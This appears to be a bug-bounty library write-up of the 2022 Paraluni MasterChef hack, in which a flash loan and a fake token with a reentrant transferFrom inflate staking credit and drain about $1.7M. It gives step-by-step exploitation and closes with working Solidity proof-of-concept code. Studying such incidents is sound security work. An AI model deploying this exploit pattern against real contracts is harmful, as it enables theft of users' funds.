# Paraluni MasterChef: reentrancy via unvalidated _pid drains funds

Paraluni MasterChef depositByAddLiquidity lacked _pid validation and reentered via a malicious token's transferFrom, letting an attacker mint excess LP credit and drain ~$1.7M.

- Payout: Real-world hack
- Severity: critical
- Program: Paraluni
- Analysis by: DeFiHackLabs
- Disclosed: 2022-03-13
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-03/Paraluni_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220313-paraluni
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:accounting-error vuln:flash-loan vuln:reentrancy

**Target:** BSC MasterChef staking contract (depositByAddLiquidity / withdrawAndRemoveLiquidity)
**Root cause:** depositByAddLiquidity passes an unvalidated _pid into depositByAddLiquidityInternal, which transfers the deposit via an attacker-supplied token whose transferFrom reenters the MasterChef deposit before internal accounting is updated, crediting excess tokens.
**Steps:**
1. Flash-swap 10,000 USDT + 10,000 BUSD from PancakeSwap pair `0x7EFaEf62fDdCCa950418312c6C91Aef321375A00` via `pair.swap(10_000*1e18, 10_000*1e18, address(this), new bytes(1))`.
2. In `pancakeCall`, deploy `EvilToken` whose `transferFrom` reenters `masterchef.depositByAddLiquidity` with attacker-controlled token addresses.
3. Call `masterchef.depositByAddLiquidity(18, [token0, token1], [1, 1])`; the malicious `transferFrom` approves USDT/BUSD to MasterChef and re-deposits the real balances before state settles.
4. Read inflated credit via `masterchef.userInfo(18, address(this))` and call `masterchef.withdrawAndRemoveLiquidity(18, _amount, false)`.
5. Call `masterchef.withdrawChange([busd, usdt])` and `token1.redeem()` to pull USDT/BUSD out.
6. Repay the flash swap with `(amount/9975)*10000 + 10000` and transfer remaining USDT/BUSD to `tx.origin`.
**How found:** Analysis identified that depositByAddLiquidityInternal does not validate _pid and that the deposit path calls an external token transferFrom, creating a reentrancy window before state update.
**Exploitation:** Attacker flash-borrows USDT/BUSD from a PancakeSwap pair, deposits into Paraluni pool 18 using a fake token pair whose transferFrom reenters depositByAddLiquidity, inflating credited LP balance, then withdraws and removes liquidity to extract real USDT/BUSD, repays the flash loan and keeps the remainder (~$1.7M).
**Escalation:** Reentrancy during deposit inflates accounting so a single withdrawAndRemoveLiquidity drains far more than deposited; flash loan supplies the capital to maximize extraction.
**Insight:** In MasterChef-style staking, check whether deposit paths call external token transferFrom before updating user accounting and whether _pid is validated; a fake token with a reentrant transferFrom can double-credit deposits.

## Proof of concept (copied exactly from the original report)

**Malicious transferFrom reentrancy in EvilToken**

```
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        if (address(masterchef) != address(0) && address(msg.sender) != address(masterchef)) {
            usdt.approve(address(masterchef), 2 ** 256 - 1);
            busd.approve(address(masterchef), 2 ** 256 - 1);
            masterchef.depositByAddLiquidity(
                18, [address(usdt), address(busd)], [usdt.balanceOf(address(this)), busd.balanceOf(address(this))]
            );
        }
        return true;
    }
```

**Flashloan swap triggering exploit**

```
pair.swap(10_000 * 1e18, 10_000 * 1e18, address(this), new bytes(1));
        emit log_named_uint("Before exploit, Dai balance of attacker:", usdt.balanceOf(msg.sender));
        emit log_named_uint("After exploit, Dai balance of attacker:", busd.balanceOf(msg.sender));

        //iWithdraw.processExits(0x6B175474E89094C44Da98b954EedeAC495271d0F);
        //  emit log_named_uint("After exploit, Dai balance of attacker:",idai.balanceOf(msg.sender));
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        usdt.transfer(address(token1), usdt.balanceOf(address(this)));
        busd.transfer(address(token1), busd.balanceOf(address(this)));
        masterchef.depositByAddLiquidity(18, [address(token0), address(token1)], [uint256(1), uint256(1)]);
        (uint256 _amount,) = masterchef.userInfo(18, address(this));
        masterchef.withdrawAndRemoveLiquidity(18, _amount, false);
        address[] memory t = new address[](2);
        t[0] = address(busd);
        t[1] = address(usdt);
        masterchef.withdrawChange(t);
        token1.redeem();
        usdt.transfer(msg.sender, ((amount0 / 9975) * 10_000) + 10_000);
        busd.transfer(msg.sender, ((amount1 / 9975) * 10_000) + 10_000);
        usdt.transfer(tx.origin, usdt.balanceOf(address(this)));
        busd.transfer(tx.origin, busd.balanceOf(address(this)));
    }
```

**EvilToken redeem withdraws and drains**

```
function redeem() external {
        (uint256 _amount,) = masterchef.userInfo(18, address(this));
        masterchef.withdrawAndRemoveLiquidity(18, _amount, false);
        usdt.transfer(msg.sender, usdt.balanceOf(address(this)));
        busd.transfer(msg.sender, busd.balanceOf(address(this)));
    }
```

